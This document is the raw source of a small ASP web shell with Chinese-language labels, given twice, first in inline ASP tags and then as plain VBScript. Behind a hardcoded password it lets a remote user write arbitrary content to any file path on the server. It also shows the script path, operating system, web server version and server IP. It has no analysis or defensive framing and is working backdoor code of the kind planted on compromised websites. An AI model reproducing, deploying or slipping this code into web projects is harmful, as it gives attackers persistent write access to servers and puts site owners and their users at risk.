<%
on error resume next
%>
<%
if request("pass")="g" then '在这修改密码
session("pw")="go"
end if
%>
<%if session("pw")<>"go" then %>
<%="<center><br><form action='' method='post'>"%>
<%="<input name='pass' type='password' size='10'> <input "%><%="type='submit' value='test'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
%>
<%="yes"%>
<%else%>
<%="no"%>
<%
end if
err.clear
end if
da.close
%>
<%set da=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%="当前文件路径:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="操作系统为:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="服务器的IP为:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea name=da cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
<%end if%>
on error resume next
if request("pass")="g" then
session("pw")="go"
end if
if session("pw")<>"go" then
response.write("<center><br><form action='' method='post'>")
response.write("<input name='pass' type='password' size='10'> <input ")
response.write("type='submit' value='test'></center>")
else
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
response.write("yes")
else
response.write("no")
end if
err.clear
end if
da.close
set da=nothing
set fos=nothing
response.write("<form action='' method=post>")
response.write("<input type=text name=path>")
response.write("<br>")
response.write("path:"&server.mappath(request.servervariables("script_name")))
response.write("<br>")
response.write("os:"&Request.ServerVariables("OS"))
response.write("<br>")
response.write("WEB:"&Request.ServerVariables("SERVER_SOFTWARE"))
response.write("<br>")
response.write("IP:"&Request.ServerVariables("LOCAL_ADDR"))
response.write("<br>")
response.write("")
response.write("<textarea name=da cols=50 rows=10 width=30></textarea>")
response.write("<br>")
response.write("<input type=submit value=save>")
response.write("</form>")
end if